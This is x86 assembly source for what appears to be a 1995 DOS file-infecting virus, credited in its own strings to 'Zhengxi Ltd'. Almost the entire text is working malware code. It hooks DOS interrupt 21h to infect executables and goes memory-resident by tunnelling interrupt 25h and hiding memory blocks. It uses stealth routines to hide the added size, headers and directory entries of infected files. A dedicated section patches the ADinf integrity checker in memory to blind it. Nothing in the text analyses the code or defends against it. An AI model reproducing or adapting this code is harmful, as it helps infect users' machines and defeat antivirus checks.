mov cx, 0DCDh
mul cx
inc ax
adc dx, 1111h
r_lo equ word ptr $-2
mov cs:r_lo, ax
mov ax, 1111h
r_hi equ word ptr $-2
xchg cx, dx
mul dx
add ax, cx
mov cs:r_hi, ax
pop cx dx
sahf
ret
; dd ?
;***************************************************************************
pblabel RND_INIT
push ds si
mov si, 43h
mov ds, si
push word ptr ds:[si-43h*11h+46Ch] ;lo
pop cs:r_lo
push word ptr ds:[si-43h*11h+46Eh] ;hi
pop cs:r_hi

push ax
in al, 40h
xor byte ptr cs:r_hi, al
pop ax
pop si ds
ret
;***************************************************************************
;extrn Calculate_CRC :near
;***************************************************************************
pblabel RND_GET_BYTE
call RND_GET
mov ah,0
ret
;***************************************************************************
pblabel RND_GET_THREE_BITS
call RND_GET_BYTE
pushf
and al,00000111b
popf
ret
;***************************************************************************
;rnd_procs_size = $-begin_rnd_procs
ends
end

INCLUDE ZURICH.ASI
code segment byte public
assume cs:code, ds:code, es:code, ss:code

extrn InfectTurn :byte


extrn r_lo:word
extrn r_hi:word
extrn InfectName :near
extrn get_crc_just_fname:near
extrn heap:near
extrn crypt_exe_header:near
extrn no_freq_proc :near
extrn crypt_exe_header_custom:near
extrn WRITE_EXEHDR :near
extrn TEST_SIZE :near
extrn STEALTHNAME :near
extrn GET_SFT :near
extrn vir_heap :near
extrn InfectHandle :near
extrn start_data :word
extrn get_own_name :near
extrn heap :near
extrn st25 :near
extrn ret_hook :dword
extrn ret_sux :word
extrn continue21 :near
extrn get_cur_time :near
extrn calculate_crc :near
extrn vir_heap :near
extrn Calculate_CRC:near
extrn Calculate_CRC5:near

;****************************************************************************
;*** VIRUS STARTUP ******************************************************
;****************************************************************************
org 0
pblabel virus_zero
DB 0cH DUP (opNOP)
dw 0 ;bp-30h : SS
dw 0 ;bp-2eh : SP
dw 0 ;bp-2ch : sum
dw 0Ah+0cH ;bp-2ah : IP
dw 0 ;bp-28h : CS

nop
.EXIT
org VIRUSSTACKSIZE-16h
pblabel begin_stack
st_es dw ? ;-16
st_ds dw ? ;-14
st_di dw ? ;-12
st_si dw ? ;-10
st_bp dw ? ;-E
st_sp dw ? ;-C
st_bx dw ? ;-A
st_dx dw ? ;-8
st_cx dw ? ;-6
st_ax dw ? ;-4
st_fl dw ? ;-2
pblabel end_stack
;****************************************************************************
pblabel virus_entry

push si
call vs
public _____
_____ db (zmeflARX and 0FFh)
;0-classic EXE
;1-abnormal termination (for carrier)
;2-retf
pblabel relocator
DO
SEGCS lodsb
db opSEGCS, 88h, 44h
shiftval db ? ; mov cs:[si+shiftval], al
CYCLE LU
iret
pblabel vs
pop si
push ax cx di bp
pushf
std
lea ax, _____
sub ax, si
push ax
and ax, 0Fh
add al, 11h ;suxxx*10h+1h ; suxxx=1
mov cs:[si+(offset shiftval)-(offset _____)], al
pop ax
sar ax, 4
dec ax ; sub ax, suxxx
mov bp, sp
mov di, ss:[bp+4+6+2]
cmp byte ptr cs:[di-3], opCALL
DOIF E
add 1 ptr cs:[si+(offset shiftval)-(offset _____)], 060h
sub ax, 06h
dec di
mov byte ptr cs:[di], 0ECh
dec di
mov byte ptr cs:[di], 8Bh
dec di
mov byte ptr cs:[di], 55h
mov ss:[bp+4+6+2], di
push cs
push di
pushf
lea bp, vvvo
DOELSE
lea bp, vvv
DONE
mov cx, cs
sub cx, ax
push cx
push bp
lea si, [si+((offset start_data))-_____]
mov cx, (offset start_data)-VIRUSSTACKSIZE+2
jmp relocator
;-------------
pblabel vvvo
begin_auto:
pop dword ptr cs:[frret]
popf
;****************************************************************************
pblabel vvv
pop bp di cx ax si

;save vect1
push ds
MOVSEG ds, cs
lea dx, tmp1
mov ax, 2501h
int 21h
pop ds

pushf
call trace_cpm
popf
cmp cs:_____, (zmeflOBJ and 0FFh)
DOIF E
inc sp
inc sp

retobj db 0EAh
public_key:
frret dd ?
DONE

cmp cs:_____, (zmeflIXE and 0FFh)


DOIF E
retf
DONE
cmp cs:_____, (zmeflEXE and 0FFh) ;-?
jnz carrier ;/

mov cs:[vir_heap._after_goto], offset goto_exe


call user_proc
pblabel goto_EXE ;api
;(ss-es-0x17)<<4+sp
;ss=cs-1
;(cs-es-0x18)<<4+sp
mov ax, es
mov si, 10h
add ax, si
push es
push ax ;psp

mov bx, cs
sub ax, bx
neg ax
cwd
mul si
mov si, [save_SP]
sub si, 7Eh
add ax, si
adc dx, 0
push si
call crypt_exe_header_custom
pop si
lea di, [heap]
mov cx, 16h/2
rep movsw
call di
pop ax
pop es
movseg ds, es
add cs:[(heap-2).exe_SS], ax
add cs:[(heap-2).exe_CS], ax
mov ss, cs:[(heap-2).exe_SS]
mov sp, cs:[(heap-2).exe_SP]
jmp dword ptr cs:[(heap-2).exe_IP]
;****************************************************************************
pblabel carrier
call endmsg
; db 'This program requires Microsoft Windows.'
; db 'The Application Program Interface (API) entered'
; db 'will only work in OS/2 mode.'
db 'Abnormal program termination',CRLF,'$'
;public_key dd ?
db CRLF,'The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd'
; db CRLF,'Don''t distribute this program!',CRLF
db CRLF,'Warning! This program for internal use only!',CRLF

pblabel endmsg
pop dx
movseg ds, cs
mov ah,9
int 21h
.exit
;****************************************************************************
;****************************************************************************
;****************************************************************************
;****************************************************************************
;****************************************************************************

;funcs21 equ <00,11,12,31,3D,3E,3F,41,42,48,49,4A,4B,4C,4E,4F,67,6C> ;


funcs21 equ <67,3E,6C,3F,49,00,3D,41,4A,11,4B,31,48,4C,4E,42,12,4F> ;

pblabel functions
% IRP foo, funcs21
db (&foo&h shl 1) xor &foo&h
ENDM
funcnt = $-functions

MROR MACRO w1, shval


dw (w1 shr (shval and 0Fh)) or ((w1 shl (10h-(shval and 0Fh))) and 0FFFFh)
ENDM

MROL MACRO w1, shval


dw ((w1 shl (shval and 0Fh)) and 0FFFFh) or (w1 shr (10h-(shval and 0Fh)))
ENDM

% IRP foo, funcs21


MROR <((bfr_&foo-virus_zero) xor ($+2-virus_zero))>, <(bfr_aft-$)>
MROL <((aft_&foo-virus_zero) - ($+2-virus_zero))>, <(bfr_aft-($-2))>
public bfr_&foo
public aft_&foo
ENDM
bfr_aft = $-4

;-+------------------------------------------------------------------------+-
pblabel user_proc
mov cs:[vir_heap._save_ss], ss
mov cs:[vir_heap._save_sp], sp
movseg ss, cs
lea sp, end_stack
pushf
cli
cld
pushaw
push ds es
lea bp, vir_heap+80H
call [after_goto]
pblabel rt_err
lea sp, begin_stack ;end_stack-20d
pop es ds
popaw
popf
mov ss, cs:[vir_heap._save_ss]
mov sp, cs:[vir_heap._save_sp]
retn
;-+------------------------------------------------------------------------+-
;-+------------------------------------------------------------------------+-
pblabel RANDOMIZE
lea si, begin_auto
mov di, end_auto-begin_auto
mov [si+(public_key-begin_auto).lo], ax
mov [si+(public_key-begin_auto).hi], dx
call Calculate_CRC
mov [r_lo], dx
mov [r_hi], cx
ret
;-+------------------------------------------------------------------------+-

pblabel end_auto

;-+------------------------------------------------------------------------+-

bfr_3E:
call RND_GET
DOIF BE
ret
DONE
jmp InfectHandle
aft_3E: ;ret
jmp InfectName

;-+------------------------------------------------------------------------+-
bfr_41:
pblabel Doctor_Name
mov ax, 3D12h
ifInfJump NameCustom
movseg ds, ss
push ax dx
call restore_header
pop cx dx
call dosseek ;seek
call DosTruncate
call write_exehdr
jmp dosclose
;Doctor_Name endp
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
aft_11:
aft_12:
movseg ds, cs
and al, al
jnz $ret
mov ah, 2fh ; get DTA
call DosCall
mov ax, word ptr es:[bx+24h] ;really not need,
call test_size ;ZF=0 - no infected file ;speed optimization
jnz $ret ;
lea di, StealthName
mov cx, 11d
DO
mov al, es:[bx+8]
inc bx
cmp al, ' '
DOIF NE
mov ds:[di], al
inc di
DONE
cmp cx, 4
DOIF E
mov byte ptr ds:[di], '.'
inc di
DONE
CYCLE LU
mov byte ptr cs:[di], ch ;0
add bx, 0Ch
jmp stlts_find_name
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
bfr_6C:
test dl, 1 ;no open
PASS Z
test bl, 3 ;r/0
DOIF NZ
push dx
mov dx, si
call Doctor_Name
pop dx
MASKA <ds:[st_bx.l]>, xxxxxx10 ;R/W bl
DONE
;-+------------------------------------------------------------------------+-
bfr_49:
aft_42:
aft_00:
aft_4C:
bfr_4f:
bfr_11:
bfr_12:
bfr_def:
@retn:
aft_def:
aft_41:
$ret: ret
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
aft_4E:
aft_4F:
MOVSEG ds, cs
lea di, StealthName-1
DO
inc di
cmp byte ptr [di], 0
CYCLE NZ
DO
dec di
cmp di, offset StealthName-1
EXIT E
cmp byte ptr [di], '\'
CYCLE NE
inc di
mov ah, 2Fh ;get DTA
call DosCall

mov cx, 0Dh ;es:bx+1e -0Dh-> ds:di


DO
push word ptr es:find_buf_pname[bx]
pop ds:[di]
inc di
inc bx
CYCLE LU
TROJANFILETIME = (6 shl 11d) or (6 shl 5) or (6 shr 1)
cmp es:[(bx-0Dh).find_buf_time], TROJANFILETIME
;DOIF E
;int 2bh
;DONE
je added_to_turn

test es:[(bx-0Dh).find_buf_attr], 10h ;directory ?


jnz no_added_to_turn
;

call RND_GET_BYTE
and ax, 0dh
jnz no_added_to_turn
;execut

; lea dx, StealthName


; call get_crc_just_fname
; jz no_added_to_turn
;-+--added to turn-------------------------------------------------------+-
;ds:dx -> InfectTurn
added_to_turn:
lea si, StealthName
lea di, InfectTurn
push es
movseg es, ss
mov cx, 40h
rep movsw
pop es

;int 2bh
; cmp es:[(bx-0Dh).find_buf_time], TROJANFILETIME

; DOIF Z
; call InfectName ;ZFlag
; DONE
pblabel no_added_to_turn
;#

mov ax, es:[(bx-0Dh).find_buf_size_l] ;really not need,


call test_size ;ZF=0 - no infected file ;speed optimization
jnz @retn ;
pblabel stlts_find_name ;extention test ?
lea dx, StealthName
mov si, bx
IfInfJump Name ;R/o mode ?
mov word ptr es:find_buf_size_l[si-0Dh], ax
mov word ptr es:find_buf_size_h[si-0Dh], dx
jmp dosclose
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
bfr_4E:
movseg es, cs
mov si, dx
lea di, StealthName
mov ah, 60h
jmp doscall
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
bfr_3D:
test al, 3
DOIF NZ ;W/O R/W
call Doctor_Name
MASKA <ds:[st_ax.l]>, xxxxxx10 ;R/W al
$?ret:
ret
DONE

;comment #
;*************************ADINFUCK******************************************

call get_crc_just_fname
cmp_ax_CRC32w <'A', '-', 'D', 'i', 'n'>
jne $?ret
mov si, cs:[save_SP]
mov ax, word ptr ds:[si][4]
add ah, 0Eh
mov ds, ax
xor si, si
DO
mov di, 8
call Calculate_CRC
cmp_ax_CRC32w <74h, 0Ah, 0C4h, 5Eh, 0E2h, 26h, 81h, 0Fh>
lodsw
PASS NE
xor al, ah
DOIF E
mov ax, ds:[si-12] ;=1547 for {386}, =1557 for {86}
add ax, offset adinf386_fuck-1547h
mov byte ptr ds:[si-8], 3Dh ;fuck 3byte
mov byte ptr ds:[si-5], 9Ah
mov word ptr [si-4], ax
mov word ptr [si-2], cs
DO
call Calculate_CRC5
cmp_ax_CRC32w <0Ah, 0Bh, 0C0h, 74h, 3>
DOIF E
xor byte ptr ds:[si-4], 0Bh xor 4 ; or ax,ax
ret
DONE
sub si, 6 ;backward search
CYCLE NZ
DONE
sub si, 9 ;forward search
CYCLE NS ;<8000h
ret
;-+-[ fucking adinf 9.xx and 10.xx ]---------------------------------------+-
;new file size in (ax:dx){86} or eax{386}
;old file size in es:[bx.15h]
;-+------------------------------------------------------------------------+-
MINVIRSIZE equ 6000d
MAXVIRSIZE equ 16000d
adinf386_fuck proc far
push ax ; 1
sub ax, es:[bx+15h] ; 4
les bx, [bp][-001Eh] ; 3
cmp ax, MINVIRSIZE ; 3
ja continue_fuck_1f_386 ; 2
pop ax ; 1
end_fuck_1f_386:
ret ; 1
;-+------------------------------------------------------------------------+-
org adinf386_fuck+10h
;-+------------------------------------------------------------------------+-
adinf_fuck proc far
xchg ax, dx ; 1
call adinf386_fuck ; 3
xchg ax, dx ; 1
ret ; 1
adinf_fuck endp
;-+------------------------------------------------------------------------+-
continue_fuck_1f_386:
cmp ax, MAXVIRSIZE ; 3
pop ax ; 1
jb end_fuck_1f_386 ; 2
or word ptr es:[bx],808h ; 5 ;old command
ret ; 1
adinf386_fuck endp
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
aft_6C:
and cx, cx ;file opened
DOIF Z
aft_3D:
xchg bx, ax
IfInfJump Handle ;patch SFT size
call get_sft
mov byte ptr es:[di.sf_name], 0
mov word ptr es:[di.sf_size.hi], dx
mov word ptr es:[di.sf_size.lo], ax
DONE
ret
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
bfr_3F: ;ret
call get_sft
test byte ptr es:[di.sf_mode], 3
GOIN NZ
cmp word ptr es:[di.sf_position.hi], 0
GOIN NZ
mov ax, word ptr es:[di.sf_position.lo]
mov [beg_pos_lo], ax
cmp ax, 18h
DOIF AE
call noff
DONE
IfInfJump Handle
call save_seek ;if (cx > f_real_size-pos) cx := f_real_size-pos
sub ax, [saved_seek.lo]
sbb dx, [saved_seek.hi]
DOIF Z
MIN <cs:[st_cx]>, ax ;_CX
DONE
ret
;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
aft_3F: ;ret
mov word ptr [st_rd_off], dx
mov si, ds ;si:di - buffer
mov cx, 1Ch
sub cx, [beg_pos_lo]
MIN cx, ax ;ax - delta pos
mov word ptr [rd_st_cnt],cx
IfInfJump Handle
;-+------------------------------------------------------------------------+-
call get_sft ;dx:ax - original size,
inc byte ptr es:[di.sf_size.1] ;add 100h
push si
call restore_header
dec byte ptr es:[di.sf_size.1] ;sub 100h
pop es
; DOIF NC
; mov es, si ;es:di
mov cx, [rd_st_cnt]
mov di, [st_rd_off]
lea si, [vir_heap._exehdr]
add si, [beg_pos_lo]
rep movsb
; DONE
ret
;-+------------------------------------------------------------------------+-
;-+------------------------------------------------------------------------+-
bfr_42:
cmp al, 2 ;seek_end
DOIF E
call seek_end
call Stealth_Seek ;seek to fake end
dec cs:[st_ax] ; mov ax, 4201h
DONE
retn
;-+------------------------------------------------------------------------+-
pblabel Stealth_Seek ;dx:ax => cx:dx
ifInfJump Handle
mov cx, dx
xchg dx, ax
jmp dosseek
;-+------------------------------------------------------------------------+-

;comment #
;-+------------------------------------------------------------------------+-
bfr_4B: ;show block
; cmp al, 0DBh
; je goto_EXE
mov [load_fname], dx
mov [load_array], bx
push ax
call show_block
pop ax
test al, 1 ;if 4b01(3) need after
DOIF Z
pblabel noff
mov byte ptr cs:retu, opJMPS ;continue21-retu-1
DONE
retn

;-+------------------------------------------------------------------------+-
pblabel selector21
movseg ds, cs
movseg es, cs
mov al, ah
add al, al ;hach
xor al, ah
mov di, 8
mov word ptr ds:[(di-8)+arena_owner], di ;cs
lea di, functions
mov cx, funcnt
repne scasb
jnz noff
lea si, bfr_aft
shl cx, 2
sub si, cx
lodsw
rol ax, cl
xor ax, si
mov [after_goto], ax ;bfr
lodsw
ror ax, cl
add ax, si
mov word ptr [after_dos_goto], ax ;aft
ret

;-+------------------------------------------------------------------------+-
bfr_4A:
bfr_48:
; cmp al, 36h ;for 'Lingvo' compatible
; mov al, 0
; DOIF NE
mov byte ptr cs:[dos_cf], 0 ;al
; DONE

;-+------------------------------------------------------------------------+-
bfr_67:
pblabel show_block
;ret
;int 2bh
call find_mcb
DOIF NE ;si=0
mov cx, ds
sub bx, cx
mov ax, ds:[si.arena_size]
sub ax, bx
mov cs:[si.arena_size], ax
dec bx
mov ds:[si.arena_size], bx
mov al, byte ptr ds:[si.arena_signature]
mov byte ptr ds:[si.arena_signature], 'M'
mov byte ptr cs:[si.arena_signature], al
DONE
ret
;-+------------------------------------------------------------------------+-
aft_4B:
mov dx, [load_fname]
call loadprog
;-+--hide_block------------------------------------------------------------+-
aft_48:
aft_67:
aft_4A:
;ret
;int 2bh
pblabel hide_block
call find_mcb
DOIF E
mov ax, cs:[si.arena_size]
inc ax
add ds:[si.arena_size], ax
mov al, byte ptr cs:[si.arena_signature]
mov byte ptr ds:[si.arena_signature], al
DONE
ret

;CRPROC find_mcb, 227Dh ;return ds


pblabel find_mcb
sub si, si
mov ah, 52h
call DosCall ;es:[bx][2] - root mcb
mov ax, es:[bx][-2]
mov bx, cs
DO
mov ds, ax
add ax, word ptr ds:[si.arena_size]
inc ax
cmp ax, bx
CYCLE B
ret
;endp

;-+------------------------------------------------------------------------+-
pblabel loadprog
ifInfJump Name

; mov si, word ptr [exehdr.exe_CS]


; mov di, word ptr [exehdr.exe_SS]
push word ptr [exehdr.exe_CS]
push word ptr [exehdr.exe_SS]
push es
call restore_header
call dosclose
pop es
pop di si
mov bx, [load_array]
sub si, word ptr [exehdr.exe_CS]
sub di, word ptr [exehdr.exe_SS]
sub word ptr es:Exec1_CS[bx], si
sub word ptr es:Exec1_SS[bx], di
mov si, word ptr [exehdr.exe_IP]
mov di, word ptr [exehdr.exe_SP]
mov word ptr es:Exec1_IP[bx], si
mov word ptr es:Exec1_SP[bx], di
@ret:
ret
;loadprog endp
;-+------------------------------------------------------------------------+-

bfr_4C:
bfr_00:
IF @Cpu AND 1 ;x86
push offset noff
ELSE ;8086
lea ax, noff ;call aft_49
push ax ;jmp noff ;ret
ENDIF
bfr_31:
aft_31:
aft_49:
;ret
;time_test
; call get_cur_time
; sub ax, [last_infect_time]
; cmp ax, INTERVAL_INFECT ;0.5 ¬-
; jl @ret
call no_freq_proc

mov cs:arena_owner, 8
mov ax, 1600h ;test for MS win
int 2Fh
cmp ax, 1600h
jne @ret

mov ax, 5802h


call DosCall
push ax
mov bx, 1
mov ax, 5803h
call DosCall
mov ax, 5800h
call DosCall
push ax
mov bl, 82h ;high UMB use
mov ax, 5801h
call DosCall
mov ah, 48h
mov bx, all_memory_size_p-1
call DosCall
DOIF NC
sub di, di
dec ax
mov es, ax
; mov bx, cs
; cmp ax, bx
; DOIF B
; mov es:[di.arena_owner], di
; DOELSE
mov cs:[di.arena_owner], di
lds si, dword ptr cs:offset25
mov word ptr ds:[si+3], es ;

call virus_move
; DONE
DONE
mov ax, 5801h ;restore
pop bx
call DosCall
mov ax, 5803h ;restore
pop bx
jmp DosCall

;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+-
pblabel save_seek
push ax cx dx
call Dostell ;dx:ax - cur pos
mov [saved_seek.lo], ax
mov [saved_seek.hi], dx
pop dx cx ax
ret
;save_seek endp
;-+------------------------------------------------------------------------+-

pblabel restore_header ;dx:ax - original size


;int 2bh
push ax dx
call save_seek
call crypt_exe_header

pop cx dx
call DosSeek ;seek
lea dx, [heap] ;[exehdr.exe_len_mod_512]
mov cx, 16h
call DosRead
call heap+16h

lea si, [heap]


lea di, [vir_heap._exehdr.exe_len_mod_512]
mov cx, 16h/2
rep movsw

pblabel restore_seek
mov dx, [saved_seek.lo]
mov cx, [saved_seek.hi]
jmp dosseek
;restore_seek endp
;restore_header endp

;****************************************************************************

pblabel p1
lds si, dword ptr [save_sp]
lds si, dword ptr ds:[si+2]
mov di, 0ch
push si
call calculate_crc
pop si
cmp_ax_CRC32w <6h, 1Eh, 55h, 57h, 56h, 52h, 51h, 53h, 50h, 8Ch, 0D8h, 2Eh>
JE tunnel_detect
cmp_ax_CRC32w <6h, 1Eh, 55h, 57h, 56h, 52h, 51h, 53h, 50h, 8Bh, 0ECh, 0E8h>
jne __retn
tunnel_detect:
;íâ® ¢ë¯®«-ï¥âáï ⮫쪮 ¯à¨ ¯¥à¢®© ãáâ -®¢ª¥ ¢¨àãá ¢ ¯ ¬ïâì

movseg es, ss
mov cx, 11d
lea di, continue21
rep movsb
sto_byte opJMPFAR

mov ax, 1600h ;â¥áâ - *®àâ®çª¨


int 2Fh
cmp ax, 1600h
jne __retn
mov ax, 3305h ;if BOOT-drive A: or B:
int 21h
sub dl, 3
jc __retn
push ds ;DS:SI - end of tunnel, (so21+TUNNELSIZE)
;---------------------------------------------------------------
;test for popup program
mov di, 2
mov ds, di
mov ax, word ptr ds:[(08h*4+2)+(di-2*11h)]
cmp ax, word ptr ds:[(13h*4+2)+(di-2*11h)]
PASS NE
cmp ax, word ptr ds:[(28h*4+2)+(di-2*11h)]
DOIF E
no_stay_resident:
pop ds
__retn:
ret
DONE
;---------------------------------------------------------------
mov ah, 2Fh
int 21h ;get DTA
push es bx
movseg ds, cs
lea dx, [vir_heap._exehdr]
mov ah, 1Ah
int 21h ;set DTA
call get_own_name ;ds:dx -curname
mov ah, 4Eh
int 21h ;find first
pop dx ds
mov ah, 1Ah
int 21h ;set DTA
mov ah, 2Ah
int 21h ;get system date
xor dx, [exehdr.find_buf_date]
and dx, 18h ;week only
jz no_stay_resident

mov ah, 51h


int 21h

mov es, bx ;es- current PSP


dec bx
mov ds, bx ;ds- current MCB
mov bx, ds:[arena_size] ;ds- size of current block
sub bh, (all_memory_size_p shr 8)
mov ah, 4Ah
int 21h ; increate current block size
mov ah, 48h
mov bx, all_memory_size_p-1
int 21h ; allocate memory for virus
jc no_stay_resident ;cannot allocate memory for virus
cmp word ptr es:[0], 20CDh
DOIF E
sub byte ptr es:[PDB_block_len+1], (all_memory_size_p shr 8)+1
DONE
dec ax
pop es ;o21
;so21 -> es:di ;si=o21+0Ch
lea di, [si-11d] ;[si-TUNNELSIZE]
xchg dx, ax ;ax - future virii segment
;get so25 (ds:si)
mov si, 8
mov ds, si
lds si, ds:[si][25h*4][-88h]
;so25 -> cs:[offset25]
;int 2bh
mov cs:[offset25.lo], si ;ds:si = so25
mov cs:[offset25.hi], ds ;
;store (2Eh, 0FFh, 1Eh, o21+7, 0C7h, 6, o25, s25) -> [so21]
;write TUNNEL
sto_byte 2Eh
sto_two_byte 0FFh, 1Eh
lea ax, [di-3+5]
mov [hook], ax
inc ax
inc ax
stosw
sto_two_byte 0C7h, 6
sto_word_ si ;o25
sto_word_ ds ;s25
;move5 [so25] -> ss:(cs:)five_bytes
lea di, [vir_heap._five_bytes]
movseg es, ss
movs5
;store (0EAh, memory_virentry, AX) -> [so25]
movseg es, ds ;s25
lea di, [si-5]
sto_byte opJMPFAR
sto_word_ <offset memory_virentry>
xchg dx, ax ;ax - future virii segment
stosw
mov es, ax ;es - future virii segment
;----move virus to new location------------------------------------------+-
;----setup incubator-----------------------------------------------------+-
call get_cur_time
add ax, INCUB_TIME
mov cs:[last_infect_time], ax
pblabel virus_move
mov di, VIRUSSTACKSIZE
mov si, di
lea cx, [heap] ;virus_size
segcs rep movsb
; $BEEP$
no_stay:
ret
;****************************************************************************

;****************************************************************************
pblabel trace_cpm
mov cx, 1919h
push cs
push sp ;fake
push cx ;for enable trace flag
push 0Ch ; ;PUSH 0 1 b
push 0 ;push 0 ;PUSH C0h b0 10
;pblabel ent24
; mov al, 3
iret ;execute CP/M command
;****************************************************************************

;****************************************************************************
pblabel tmp1
mov cs:[vir_heap._after_goto], offset p1
call user_proc
iret
;****************************************************************************

;****************************************************************************
pblabel call_real_25
pushf
push es di si
les di, dword ptr cs:[offset25]
lea si, [vir_heap._five_bytes]
cld
SEGCS movsw
SEGCS movsw
SEGCS movsb
pop si di es
popf
mov cs:[vir_heap._abs_read_drive], al
db 09Ah ;call [RealInt25h]
pblabel offset25
dd ?
pushf
push es di ax
les di, dword ptr cs:offset25
cld
mov al, opJMPFAR ;jmp far
stosb
lea ax, memory_virentry ;stealth_abs_read
stosw
mov ax, cs
stosw
pop ax di es
popf
ret
;****************************************************************************

;****************************************************************************
pblabel memory_virentry
pop cs:[ret_sux]
push cs:[ret_sux]
push ax
mov ax, cs:[vir_heap._hook]
cmp ax, cs:[ret_sux]
pop ax
DOIF NE ;"25"
call call_real_25
DOIF NC
mov cs:[vir_heap._after_goto], offset st25 ;-bfr_base
call user_proc
DONE
;*encrypt memory*************************************************************
retf
;sssuxx db ?
DONE
pop dword ptr cs:[ret_hook]
add cs:[ret_hook.lo], 6
; mov cs:[sssuxx], ah
; cmp ah, 4Fh
; DOIF E
; int 2bh
; DONE
cmp ah, 51h ;reENTER virus, need for DRDOS
DOIF E
continue21_1:
jmp continue21
DONE
mov cs:[vir_heap._after_goto], offset selector21
mov byte ptr cs:[retu], opCMP_ALimm ;retu_off-retu-1
call user_proc ;selector; write new after_goto
mov byte ptr cs:[dos_cf], r2-r1
call user_proc ;before DOS of double selector
pblabel retu
jmp SHORT continue21_1
; jmp continue21
;*encrypt memory*************************************************************
;****************************************************************************

;****************************************************************************
;pblabel retu_off
call DosCall ;DOS
db opSEGCS, 0C7h, 06h
dw vir_heap._after_goto
pblabel after_dos_goto
dw UNINIT
db 72h ;jc
pblabel dos_cf
db r2-r1
pblabel r1
call user_proc ;after DOS
pblabel r2
sti ;!!!!!!!!!
;*encrypt memory*************************************************************
retf 2
;****************************************************************************

;****************************************************************************
pblabel DosTruncate
sub cx, cx
pblabel doswrite_from_heap
lea dx, [heap] ;from heap
jmp doswrite
;-+------------------------------------------------------------------------+-
pblabel DosWrite_shbuf_22
mov cx, HDRBUFSIZE
pblabel DosWrite_shbuf
lea dx, [vir_heap._ziphdr]
pblabel DosWrite
mov ah, 40h
jmp DosCall_exc
;-+------------------------------------------------------------------------+-
pblabel read_buf_22
mov cx, HDRBUFSIZE
pblabel read_buf_cx
lea dx, [vir_heap._shift_buffer]
pblabel dosread
mov ah, 3Fh
pblabel DosCall_exc

call DosCall
jnc $$ret ;®¡à ¡®âª ®è¨¡®ª „Ž‘ (?)
;int 2bh
; cmp [close_on_error], 3eh ;3e-no close
; DOIF NE
; call dosclose
; DONE
jmp rt_err ; ¢®ááâ -®¢¨âì SP ¨ ¢¥à-ãâìáï ¢ userproc
;-+------------------------------------------------------------------------+-

pblabel dosclose
mov ah, 3Eh
; mov [close_on_error], ah
jmp DosCall_exc
;****************************************************************************

;****************************************************************************
pblabel dostell
xor dx, dx
pblabel dosseek_cur_cx_0
xor cx, cx
jmp dosseek_cur
;-+------------------------------------------------------------------------+-
pblabel dosseek_cur_neg_ax
xchg dx, ax
pblabel dosseek_cur_neg_dx
neg dx
jns dosseek_cur_cx_0 ; if dx > 0
;-+------------------------------------------------------------------------+-
pblabel dosseek_cur_cx_1
mov cx, -1
pblabel dosseek_cur
mov al, 01h
jmp DosSeek_all
;-+------------------------------------------------------------------------+-
pblabel dosseek_bof
sub dx, dx
pblabel dosseek_cx_0
sub cx, cx
pblabel dosseek
mov al, 00h
pblabel DosSeek_all
mov ah, 42h
pblabel DosCall
pushf
push cs
call continue21
$$ret:
ret
pblabel seek_end
mov al, 02h ;seek_end
xor dx, dx
xor cx, cx
jmp DosSeek_all ;dx:ax - filesize
;****************************************************************************

;****************************************************************************
pblabel calc_hdr_pages
mov cx, 200h ; dx:ax - new size
and dx, 0fh
div cx
mov [exehdr.exe_len_mod_512], dx ;ostatok
add dx, -1 ;dec dx ?
adc ax, 0
mov [exehdr.exe_pages], ax
ret
;****************************************************************************

ends
end virus_entry

include zurich.asi
code segment byte public
assume cs:code, ds:code, es:code, ss:code
extrn offset25 :dword
extrn call_real_25 :near
extrn restore_header :near
extrn stealthname :near
extrn test_size :near
extrn doscall :near
extrn get_sft :near
extrn dosread :near
extrn heap :near
extrn dosclose :near
extrn vir_heap :near
;-+------------------------------------------------------------------------+-
;-+-[ stealth 25 ]---------------------------------------------------------+-
;-+------------------------------------------------------------------------+-
;-+------------------------------------------------------------------------+-
; dir entry stealth
; DS:SI = @dir_size_h
;-+------------------------------------------------------------------------+-
pblabel Stealth_Abs
ifInfJump Buf
mov ds:[si+(dir_size_l-dir_size_h)],ax ;stealth patch size in dir entry
mov ds:[si+(dir_size_h-dir_size_h)],dx
ret
;-+------------------------------------------------------------------------+-
; exe header int25 stealth ?
;-+------------------------------------------------------------------------+-

pblabel Stealth_Abs_r
ifInfJump Buf
push ds
MOVSEG ds, ss
push ax dx ;real file size
lea dx, file_for_fake_open
mov ax, 3D40h ;open readonly
call DosCall
xchg bx, ax ; DPB offset in AX
pop dx ax
DOIF NC
push bx ;handle
call get_sft
; mov es:[di.sf_position.lo], ax
; mov es:[di.sf_position.hi], dx
push ax dx ;file size
inc ah
mov es:[di.sf_size.lo], ax
mov es:[di.sf_size.hi], dx
mov dl, [abs_read_drive] ;<<<<< gluk
and byte ptr es:[di+5], 11100000b
add byte ptr es:[di+5], dl
inc dx ;future: flop no stealth ? (to slow)
mov ah, 32h
call DosCall
mov es:[di.sf_devptr.lo], bx
mov es:[di.sf_devptr.hi], ds
xor cx, cx
mov dx, [start_sec.hi]
mov ax, [start_sec.lo]
sub ax, ds:dpb_first_sector[bx]
sbb dx, cx
mov cl, ds:dpb_cluster_mask[bx]
inc cx
div cx
and dx, dx ;if DX != 0 - error
DOIF Z
inc ax
inc ax
mov es:[di.sf_firclus], ax
mov word ptr es:[di+35h], ax
DONE
pop dx ax ;file size
pop bx
push si
call restore_header
pop di
scasw ;add di,2
pop es
push es
lea si, [heap]
mov cx, 16h/2
rep movsw
call dosclose
DONE
pop ds
ret
file_for_fake_open equ StealthName
;-+------------------------------------------------------------------------+-
; test after absolute read for exe-header & dir entry
;-+------------------------------------------------------------------------+-
pblabel st25
mov si, bx
xor ax, ax ;AbsDisk_start_sect.hi
cmp cx, -1 ;(inc cx, jz)?
DOIF E
mov dx, ds:[bx.AbsDisk_start_sect.lo]
mov ax, ds:[bx.AbsDisk_start_sect.hi]
lds si, ds:[bx.AbsDisk_buffer]
DONE ;here, DS:SI - read buffer
mov [start_sec.hi], ax
mov [start_sec.lo], dx
push si
